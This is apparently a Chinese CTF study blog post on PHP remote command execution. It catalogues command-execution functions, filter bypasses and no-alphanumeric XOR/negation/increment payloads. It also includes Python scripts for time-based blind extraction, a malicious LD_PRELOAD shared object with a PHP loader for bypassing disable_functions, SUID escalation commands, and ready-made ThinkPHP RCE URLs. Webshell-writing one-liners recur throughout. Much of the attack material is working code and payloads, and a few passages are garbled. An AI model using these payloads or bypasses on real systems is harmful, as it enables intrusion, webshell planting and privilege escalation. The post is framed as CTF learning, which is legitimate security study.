从最近的xyctf中,最大的感受就是自己的rce基础并不牢固,所以马上来恶补一下
漏洞成因
php和其他语言有很多能够执行系统命令或执行其他php代码的函数,因为开发者的使用不当,使得用户能够控制传递给执行命令的函数的参数,那么就用可能被用来执行恶意命令,接下来的学习以ctf中最常用的php来学习
利用方法
命令注入
执行系统命令的函数和方法
执行的结果都是以字符串返回,执行失败返回空,区别是能不能直接回显
函数 | 描述 |
---|---|
system($cmd) | 可以直接回显 |
shell_exec($cmd) | 不直接回显,配合echo等才能看到结果 |
passthru($cmd) | 可直接回显 |
exec($cmd) | 不能直接回显,配合echo等才能看到结果 |
`$cmd`(shell_exec的变种) | 系统命令用反引号包裹,也能执行,不能直接回显 |
linux也通过echo ,输入输出重定向,来写入一句话木马
代码注入
利用一些php函数来执行系统命令
1.eval
rce中最常用的函数,将php代码以字符串形式传入,显示执行结果,代码结束要加;
2.preg_replace()
preg_replace(‘正则规则’,‘要替换的字符’,‘目标字符’)
正则规则中使用\e修饰符,php会被后面要替换的字符当作php代码执行, 如:
php7的匹配正则模式不能由get传入,但php5可以
3.create_function()
如图,create_function()可以创建动态函数,$args
是参数,$code
具体动态函数的要执行的代码,用eval执行,所以完全可以拿来写一句话
<?PHP $func=create_function('',$_POST['cmd']);$func();?>
4.call_user_func
!
5.call_user_func_array
用法同call_user_func
,只是后面传的参数要是数组
6.array_map
array_map( c a l l b a c k , callback, callback,array),对传入的array数组的每个元素,应用传入的$callback回调函数
7.array_filter
array_filter( a r r a y , array, array,callback),对 a r r a y 数组用 array数组用 array数组用callback函数过滤掉一些元素,用法与array_map相近,只是参数顺序相反
8.popen
#利用方式
$handle=popen('ls','r');echo fread($handle,2096);
9.proc_open
用popen的升级版,用起来比popen稍微复杂,将命令作为单独的进程执行,并控制其输入、输出和错误管道
#原始
// 要执行的命令
$test = "whoami";
// 用于设置进程管道的数组
$array = array(
array("pipe", "r"), // 标准输入管道
array("pipe", "w"), // 标准输出管道
array("pipe", "w") // 标准错误输出管道
);
// 执行命令并创建进程
$fp = proc_open($test, $array, $pipes);
// 从标准输出管道中读取数据并打印
echo stream_get_contents($pipes[1]);
// 关闭进程
proc_close($fp);
#压缩去掉换行
$test="whoami";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($test,$array,$pipes);echo stream_get_contents($pipes[1]);proc_close($fp);
命令注入绕过
题目的重点都是如何绕过过滤
过滤命令关键字
其他命令平替
1.使用其他查看文件的命令绕过,比如过滤cat
常见平替:
tac,less,more,nl,head,tail
还有其他命令可以读取文件:
命令 | 描述 |
---|---|
vim ,vi /flag | 编辑器 后跟文件,也能显示出内容 |
od -c 或 -a /flag | 读取二进制数据,加-a或-c,就会输出常见字符 |
sort,unqiue /flag | 排序去重命令都会显示文件内容 |
file -f ,date -f , dig -f /flag | 利用报错读出文件内容 |
sh /flag 2>%261 | 也是利用报错,但是要把错误输出重定向到标准输出流,如果get传输要url编码& |
strings /flag | strings 读取二进制文件中的可打印字符 |
rev /flag | 逆序输出 |
paste /flag | paste用于合并文件内容,只有一个文件也可以 |
diff /flag /etc/passwd | diff用于比较文本内容,会显示各个文本的内容,需要一个已知文件 |
单用base64 /flag
,也可以得到flag
date 是查看时间的命令,但是date -f 可以利用它的报错信息读取文件,
dig -f 也可以
!
但是在php的system中,date-f读不出来,但是 dig -f可以
过滤ls
dir
在ubuntu也可以扫描目录,但在其他环境可能报 command not found
无效转义
在命令的字符中添加' " \ $@
,不影响命令的执行,单双引号要加两个
·
编码
1.十六进制编码
用xxd工具,xxd有两个选项,-r可以把十六进制数据转为二进制,-p则是以 postscript plain hexdump 风格(易于阅读和打印)输出数据,配合管道符传递给shell,就可以执行命令
echo 636174202f666c6167 | xxd -r -p|bash
或者用shell的内联执行
$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')
2.八进制编码
$(printf '\143\141\164\040\057\146\154\141\147')
$(echo '\143\141\164\040\057\146\154\141\147')
3.base64编码,32也行,配合管道符
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "MNQXIIBPMZWGCZY="|base32 -d|bash
echo 'ZWNobyAnPD89QGV2YWwoJF9QT1NUW2NtZF0pPz4nID4gc2hlbGwucGhw'|base64 -d|bash #写入一句话
变量引用
把要执行的命令都每个单词从,拆开几个部分用一个变量定义,使用时拼接在一起
a=l;b=s;c=/;$a$b $c ->ls /
a=ca;b=t;c=/fl;d=ag;$a$b $c$d ->cat /flag
很明显这个方法;
不能被过滤
过滤关键文件名
使用通配符
具体例子使用可上网搜索
-
*,匹配一个或多个字符 ,如:
cat /f*
-
?,匹配一个字符,如:
cat /fla?
-
[…] ,匹配指定范围内的字符,如:
cat /[e-g][k-m]?[e-h] 或/[e-g][k-m][0-b][e-h]
,[@-z]匹配所有字母,有时a被过滤可用
过滤空格
${IFS}
${IFS}
绕过,${IFS}
在linux的环境变量中代表空格 如cat${IFS}/flag
重定向
如cat</flag
!
%09
%09就是制表符,url解码后传给php就和空格差不多,如:cat%09/flag
过滤/
逻辑符号拼接命令
有一些题目是代码本身会执行一些正常的命令(如ping),这时我们可以利用逻辑符号在后面拼接我们注入的命令
linux命令中,逻辑符号的作用如下:
cmd1 & cmd2
:两个命令同时在后台执行,前面的是否执行成功不影响后续命令执行
cmd1 && cmd2
:按顺序先后执行命令,输出结果,前面的失败后面也无法执行
cmd1 | cmd2
:| 是管道符,用于把前面命令的结果作为变量输入到后面的命令,如果后面命令用不到,且正常执行不报错
那就正常执行后面的命令,如:
前面的执行失败不影响后面执行
cmd1 || cmd2
:前面的命令执行失败才会执行后面的命令,否则后面的命令不执行
cmd1;cmd2
:顺序执行命令
过滤了/,就可以用命令连接符号,多次cd跳转到根目录执行操作
cd ..;cd ..;cd ..;ls
或
cd ..%26%26cd ..%26%26cd ..%26%26ls
截取环境变量
没有过滤 $ {}时可以使用
$HOME 环境变量 就是/用户名,截取第一个就是/
$0可以表示bash
代码注入相关绕过
过滤system
如果是代码注入且过滤了system,可以尝试:
其他函数
使用其他可以执行命令的函数如:passthru,shell_exec,但是没有回显,配合echo,print,var_dump
使用
或者使用php内置的扫描目录和读取文件的函数。如:
扫描目录:scandir
读取文件:file_get_contents , readfile , file ,highlight_file , show_source,
读取文件最后两个函数不用var_dump,其余都要
拼接执行
如:
(s.y.s.t.e.m)("whoami");
(s.y.s.t.e.m)('whoami');
php7才可以
编码
可以把php的函数名用八进制或十六进制编码,php7可以,动态执行函数
"\x73\x79\x73\x74\x65\x6d"("\x6c\x73"); -> system('ls')
"\163\171\163\164\145\155"("\154\163"); -> system('ls')
进制字符串要用双引号包裹,双引号中如果有变量,会解析变量,而单引号中不管是否有变量,都当作字符串
或者hex2bin
hex2bin('73797374656d')(hex2bin('636174202f666c6167')); #system('cat /flag')
过滤引号
可以用参数逃逸,这个方法也能用在过滤很多关键字的情况,如
?a=system($_GET[b]);&b=cat /flag
?a=$_GET[b]($_GET[c]);&b=system&c=cat /flag
使用反引号,如
?a=echo `ls`;
无数字字母
如果题目过滤了常规的数字和字母,就要使用其他一些运算方法,在执行php代码前先进行一定运算,
把一些不可见字符的二进制数据,通过一些数学运算,算出字母和数字,再执行
异或
使用大佬的两个配套脚本,如:
<?php
// 打开一个文件用于写入,如果文件不存在则创建该文件
$myfile=fopen("xor_rce.txt","w");
// 初始化一个空字符串,用于存储生成的结果
$contents="";
// 循环遍历 0 到 255 的所有可能的字节值
for($i=0;$i<256;$i++){
for($j=0;$j<256;$j++){
// 如果字节值小于 16,则将其转换为两位十六进制数,以便于 URL 编码
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
// 定义用于匹配不允许的字符的正则表达式
$preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; // 根据题目给的正则表达式修改即可
// 使用 URL 解码将十六进制转换为ascii码,然后检查是否存在不允许的字符
if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){
echo ""; // 如果存在不允许的字符,则不做任何操作
}
else{
//
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
// 如果异或结果是可见字符,则将其的url编码,添加到结果字符串中
if(ord($c)>=32&ord($c)<=126){
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
// 将结果字符串写入到文件中
fwrite($myfile,$contents);
// 关闭文件句柄
fclose($myfile);
?>
两个ascii字符,分别0-255,进行异或运算,如果结果是可见字符且不符合设定的正则,添加这两个字符的url编码到文件字符中,
这样一来,就可以把可见字符,用两个不可见字符的异或来表示,如
当然,大佬还写了利用这个文件,生成payload的脚本
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
# print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function: "))+action(input("[+] your command: "))+";"
print('\n',param)
运行结果:
所以payload即为
?a=("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%0c%0c%00%00"^"%60%7f%20%2f");
取反
利用取反运算,这个可以不用大佬脚本,自己随便弄一下都行,如:
<?php
$php_code='system';
$cmd='ls /';
$arr=array($php_code,$cmd);
$res="(~".urlencode(~$php_code).")(~".urlencode(~$cmd).");";
echo $res;
#结果
%8F%97%8F%96%91%99%90
//phpinfo()->payload:
?a=(~%8F%97%8F%96%91%99%90)();
//system('ls /');->payload:
?a=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
如果是post传参,用hackbar传过去url解码有问题,用bp就可以
自增
在 PHP 中,对一个字母型变量执行自增运算时,会将该字母转换为其 ASCII 码值,执行自增运算后再将结果转换回字母。具体来说,字母型变量的自增运算实际上是对其 ASCII 码值加一,然后将结果转换回字母。如:
我们可以通过不断的自增来获得想要的字符,eval可以执行php代码,把自增的代码传进去,得到想要的字符后,最后构造出能rce的样子
但是这是无数字字母,php代码中也不能含有字母,所以我们的自增起点要稍微变一下,如:
将空数组和字符串拼接时,php会把空数组转为字符串Array
再去拼接,取出下标为0的字符,就是A,这里不能直接用0,而是用一个表达式''=='$'
,值为假,就会返回0,从而取到了字母A
然后开始自增,获得其他字母,得到$_GET
或$_POST
,大佬脚本如下:
$_GET
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($_);
#$res="$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);"
?>
代码中
经
过两次自增和拼接,变为
‘
_经过两次自增和拼接,变为`
经过两次自增和拼接,变为‘_GET,所以最后可以利用的代码变为
G
E
T
[
]
(
_GET[_](
GET[](GET[__]);,
,__`传入payload即可
要把原始代码去掉换行,再url编码一下,最终payload
%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%27%3D%3D%27%24%27%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D%27_%27.%24_%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=ls /
无字母
其实就是利用八进制编码,这样构造的payload没有字母,由于我本地php测试总是失败,用一道题目来测试
源码:
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
这题只允许白名单,白名单里只有数字,和一些特殊的字符,$,\,'
,很明显就是要八进制编码
$'\154\163' #ls
但是这样执行的命令无法加参数,要读取flag需要用到<,类似cat /flag
$'\143\141\164'<$'\057\146\154\141\147'
这方面的详细知识可以看这篇大佬的文章:https://xz.aliyun.com/t/12242
无回显
如果用exec,这类没有回显的函数,可以考虑写一句话或者 ,把命令结果重定向或写入文件中
有写入权限
写入一句话木马,用到重定向符号:>
?a=echo%20%27<?%3Deval($_POST[cmd])?>%27%20>shell.php
tee 命令结果写入文件
要用到管道符:|
cat /flag | tee a
然后再去访问a即可,
无写入权限
可以尝试bash时间盲注 需要到:|
awk截取第一行内容:cat /flag | awk ==1
cut 截取第一列内容cat /flag | awk NR==1 | cut -c 1
不过一般题目中flag文件一般都只有一行,awk 可以省略,当然如果flag.php就不能省略了
获取文件的文本长度,行数
awk 'NR==1 { print length($0); exit }' /flag #获取第一行的文本长度
awk 'END {print NR}' /flag #获取行数
结合 if ,sleep,实现时间延时
?a=if [ `cat /flag | awk NR==1 | cut -c 1` = 'F' ];then sleep 2;fi
做了足够的铺垫后,就应该写脚本了,主要语句:
if [ `28= ls /| awk 'END{print NR}'` ];then sleep 2;fi #猜文件数量
if [ `ls / | awk 'NR==1 {print}'` = 1 ]; then sleep 2; fi #猜每个文件的文件名长度
if [ `ls / | awk NR==1 | cut -c 1` = "b" ]; then sleep 2;fi #猜根目录下的文件目录名
if [ `cat /flag_is_he3re|cut -c 1`=F ]; then sleep 2;fi #猜字符
完整脚本
mport requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '[{}.@-_=]'
url='http://192.168.184.200/rce/play.php?a='
def condition(url):
start=time.time()
res=requests.get(url,timeout=3)
end=time.time()
if int(end-start)>=2:
return True
return False
def check_flag(filename):
#发现可能的flag文件
checks=['f','l','a','g']
for che in checks:
if che not in filename:
return False
return True
def try_flag(catalog='/'):
#获取有多少个文件
file_nums=0
for i in range(1,50):
get_nums_cmd="if [ `ls {} | awk 'END{{print NR}}')` = {} ]; then sleep 2; fi".format(catalog,i)
print(get_nums_cmd)
if condition(url+up.quote(get_nums_cmd)):
file_nums=i
print(f'有{file_nums}个文件')
break
filenames_list=[]
run=''
tar=''
#获取文件名长度,然后猜文件名
for i in range(1,file_nums+1):
len=0
name=''
for k in range(1,50):
get_filelen_cmd='if [ `ls {} | awk \'NR=={} {{print length}}\'` = {} ]; then sleep 2; fi'.format(catalog,i,k)
if condition(url+up.quote(get_filelen_cmd)):
len=k
print(f'第{i}个文件名字长度为{len}')
break
for j in range(1,len+1):
for k in str_list:
get_filename_cmd='if [ `ls {} | awk NR=={} | cut -c {}` = "{}" ]; then sleep 2;fi'.format(catalog,i,j,k)
if condition(url+up.quote(get_filename_cmd)):
name+=k
print(name)
break
filenames_list.append(name)
if check_flag(name):
run=input(f'疑似发现了flag文件,{name}是否继续?c->继续,其他放弃')
if run =='c':
continue
else:
tar=name
break
print(f"确认发现了flag文件:{tar},开始查找")
flag_len=0
flag=''
#发现了flag之后,就猜flag
for i in range(1,70):
get_flaglen_cmd='if [ `cat {}{}| awk \'{{print length}}\'` = {} ]; then sleep 2;fi'.format(catalog,tar,i)
if condition(url+up.quote(get_flaglen_cmd)):
flag_len=i
print(f"{tar}文件字符数为{i}")
for i in range(1,flag_len+1):
for k in str_list:
get_flag_cmd='if [ `cat {}{}|cut -c {}` = {} ]; then sleep 2;fi'.format(catalog,tar,i,k)
if condition(url+up.quote(get_flag_cmd)):
flag+=k
print(flag)
try_flag()
还可以cp复制或者mv移动,把flag搞到网站目录,再访问得flag
disable_function限制
这种情况是有了webshell后,但是无法正常执行命令
当php.ini把很多能执行命令的函数都设置进了disable_function,此时如果直接执行,是执行不了的,如
一种思路就是找漏网之鱼,看能不能利用没被ban的函数,另一种就是利用LD_PRELOAD环境变量加载恶意so文件,这里主要学习后者
这个主要也是利用大佬的脚本,https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,原理的讲解也在里面,很详细,这里主要记录自己的对这个方法的一些浅薄理解
当运行可执行文件时,操作系统的动态链接器会负责加载并链接需要的共享对象文件(.so文件),找到要用到的系统底层函数,解析符号引用,加载到内存中,使得程序能够正常执行。
而linux系统环境变量$LD_PRELOAD
可以设置优先加载的so文件,如果能设置为我们控制的so文件,其中包含了我们自己实现的恶意同名底层函数,linux要执行该函数时,会去so文件寻找,而我们的so文件由于$LD_PRELOAD被优先加载,其中就有被重写过的同名函数,于是跳过了正常的系统函数,执行我们的恶意函数,这个被利用的函数通常是getuid():不需要传入变量,返回值简单
就算有了恶意so文件,但是怎么触发getuid()
呢,常规的执行系统命令的函数被ban,需要寻找别的方法启动新的进程调用,大佬找到是mail()
函数,mail()会调用 /usr/sbin/sendmail
,它会调用getuid()
但是sendmail是一个邮件传输代理工具,不是自带的,目标环境不一定安装或者有可能被禁用,所以大佬说劫持getuid并不是最好的选择,但是这个劫持的思路是我值得学习的
大佬想到了另一种方式,不拘泥于具体的底层方法,想办法让恶意so在被加载时就能rce,代码如下:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
__attribute__((constructor))
是 C 和 C++ 语言中的一个编译器扩展,用于指定一个函数作为程序启动时的构造函数,即在程序运行之前(在main()之前)自动执行该函数。若它出现在共享对象中时,那么一旦共享对象被系统加载,该函数就会被执行
函数会从环境变量中读取命令,然后执行,php恰好有个方法putenv()
可以加入自定义的环境变量
大佬的php利用脚本
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
代码中,通过putenv加入EVIL_CMDLINE环境变量为我们rce代码,用于so文件执行,设置LD_PRELOAD变量为我们上传的so文件路径,我们要在目标php文件中包含这个php,并传入cmd—>命令,outpath—>命令结果保存文件路径 ,sopath—>so文件路径,php执行mail函数时,sendmail子程序就会优先链接我们的恶意so,从而执行命令
在我的实验环境中,蚁剑连接?a=$func=create_function('',$_POST['cmd']);$func();
,连接后,果然不能执行命令,
尝试把php,so文件上传到靶机的有上传权限的目录,这里我选择/tmp,
上传成功,在目标php中,传如下payload:
?a=include('/tmp/db_bypass.php');&cmd=cat /flag &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so
实验成功
其他知识点
suid提权
参考大佬文章学习:https://tttang.com/archive/1793/
SUID 是 Unix/Linux 系统中的一种特殊权限设置,全称为 Set User ID。当一个可执行文件拥有 SUID 权限时,当普通用户执行该文件时,该文件的有效用户 ID 会被临时设置为文件所有者的用户 ID,而不是执行者的用户 ID。
简单来说,SUID 权限允许普通用户以文件所有者的权限来执行该文件,即使普通用户本身没有对应的权限
suid权限就是执行权限的特殊设置,例如
chmod u+s filename #增加suid权限
chmod u-s filename #去除suid权限
这里把flag文件设为 700,现在无法直接查看
这时要利用有suid root 权限的二进制文件,执行这些文件,可以以文件所有者即root的权限运行,利用这些查看flag
find / -user root -perm -4000 -print 2>/dev/null
find / 从根目录开始查找
-user root 属于root用户
-perm -4000 设置了suid权限
-print 打印匹配到文件路径
2>/dev/null 把错误输出重定向到/dev/null /dev/null不会显示任何输入的信息,加上就相当于不打印报错信息
不加的话会有很多 permission denied 的报错,影响观察
正常来说,常用的命令一般都没有suid权限,题目如果考察这个知识点,也会给某个命令加上,我这里给cp ,find加上了,
通过cp读取flag
cp /flag /dev/stdout
/dev/stdout 标准输出,把文件复制到这里就相当于在终端输出该文件的内容
通过find执行系统命令
/usr/bin/find /flag -exec cat /flag \;
所以稍微总结一下,如果有suid权限,可以执行shell或读取flag的二进制文件,前提是拿到了一个shell
nmap(2.0-5.21)
nmap --interactive
之后执行:
nmap> !sh
sh-3.2# whoami
root
//这是真正意义上的提权,进入到了root用户的shell
time
time cat /flag # time 后跟命令可执行
vim
vim ,vi,命令模式也可以执行系统命令
less more
less,more读取较大文件时,会进去翻页模式,可以用!shell执行shell命令
more执行命令不会退出翻页,less会
awk
awk可以用来执行系统命令
awk 'BEGIN { system("ls -l") }'
dmesg
dmesg -H 以易读格式输出内核环形缓冲区,也是可以!+shell执行命令
env
env用于输出环境变量,后面也是可以跟命令来执行,如env ls
flock
是Linux 的文件锁命令,也能用来执行系统命令:flock -u / whoami
ionice nice
前者设置程序的IO调度与优先级,后者修改程序的优先级,都用可以用来执行命令,
ionice whoami nice whoami
strace
strace -o /dev/null ls
其他命令,如date,paste,等用来平替cat的命令有suid权限,利用它们读取flag
thinkphp rce利用
主要是要知道对应的thinkphp版本,然后使用对应的poc
网上找的一些poc
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
thinkphp 5.0.23(完整版)debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
thinkphp 5.0.23(完整版)
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
# filter[]是要执行的php函数, server[REQUEST_METHOD]是给该函数的参数
thhinkphp 5.0.10(完整版)
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
要知道版本,可以通过输入?s=1,产生报错,通过报错信息得到版本信息
题目实战
[NewStar2023]So Baby RCE
源码:
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
过滤了很多命令,主要是过滤了目录分割符/
,没有过滤cd,..
,那就用cd 和&&跳转到根目录,然后ls,用${IFS}绕过空格,payload如下:
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}ls
过滤了fl,可以用f???来绕过,也可以添加$@来绕过关键字,这里我用paste查看文件吧,payload:
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}paste${IFS}f????????????????
查阅网上资料时还发现可以curl 下载 一句话木马,不过需要公网的vps
极客大挑战 RCE me
题目源码:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
很明显是无数字字母rce,可以异或或取反,这是使用异或
?code=("%0c%08%0c%09%0e%06%0f"^"%7c%60%7c%60%60%60%60")(); #phpinfo()
本来想直接用system查看,但是失败,感觉可能是被禁了,再来看phpinfo
发现禁用了很多系统函数,assert没被禁,那就assert(eval($_POST[a]));
,不能直接eval(eval($_POST[a]))
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
连接成功,由于disable_function的限制,命令用不了,传so文件和对应的php上去,跟实验步骤一样即可
code继续assert(eval($_POST[a]))
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);;&cmd=ls / &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so
post:
a=include('/tmp/db_bypass.php')
# code: assert(include('/tmp/db_bypass.php'))
发现有readflag程序,直接运行
NewStar2023 R!!!C!!!E!!!
源码
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
是exec无回显,那就要考虑写入或者盲注了
尝试了一下,tee写入,发现是可以的,单引号绕过关键字过滤即可,exp:
<?php
class minipop{
public $code="ls /|te''e /var/www/html/a";
public $qwejaskdjnlka;
public function __toString()
{
}
public function __destruct()
{
}
}
$a=new minipop();
$a->qwejaskdjnlka=$a;
echo serialize($a);
# O:7:"minipop":2:{s:4:"code";s:26:"ls /|te''e /var/www/html/a";s:13:"qwejaskdjnlka";r:1;}
发现了flag,直接查看
后面看了官方wp,发现预期解是bash盲注,于是我尝试写脚本 ,过滤了{},原来的脚本用不了,把命令改为用sed 实现,三剑客看来真的要再去复习一下
脚本:
import requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '{[.@-_=]}'
url='http://b70d0e66-be37-4788-80fd-49d791990778.node5.buuoj.cn:81/'
def condition(url,data):
time.sleep(0.5)
start=time.time()
res=requests.post(url,timeout=3,data=data)
end=time.time()
if int(end-start)>=2:
return True
return False
def try_flag(catalog='/'):
#查找含有flag的flag文件名长度
flag_len=14
base_payload = 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'
data={
'payload':''
}
flag_name=''
flag=''
#获取长度,题目过滤了.*,只好匹配flag整体
for i in range(1,30):
get_len_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c 1-|wc -m` = {} ];then sleep 2;fi'.format(catalog,i)
get_len_payload=base_payload.format((len(get_len_cmd)),get_len_cmd)
data['payload']=get_len_payload
if condition(url,data):
flag_len=i
print(f"长度为{i}")
for i in range(1,flag_len):
for k in str_list:
get_flagname_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,i,k)
get_flagname_payload=base_payload.format((len(get_flagname_cmd)),get_flagname_cmd)
data['payload']=get_flagname_payload
if condition(url,data):
flag_name+=k
print(flag_name)
print(f"发现了flag: {flag_name}")
#获取内容
for i in range(1,70):
for k in str_list:
get_flag_cmd='if [ `cat {}{} | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,flag_name,i,(k))
# print(get_flag_cmd)
get_flag_payload=base_payload.format(len(get_flag_cmd),get_flag_cmd)
data['payload']=get_flag_payload
if condition(url,data):
flag+=k
print(flag)
try_flag()
# print(str_list)
省略了获取flag文件内容字符的过程,直接1到70,只要前面的能爆出来就ok,不影响
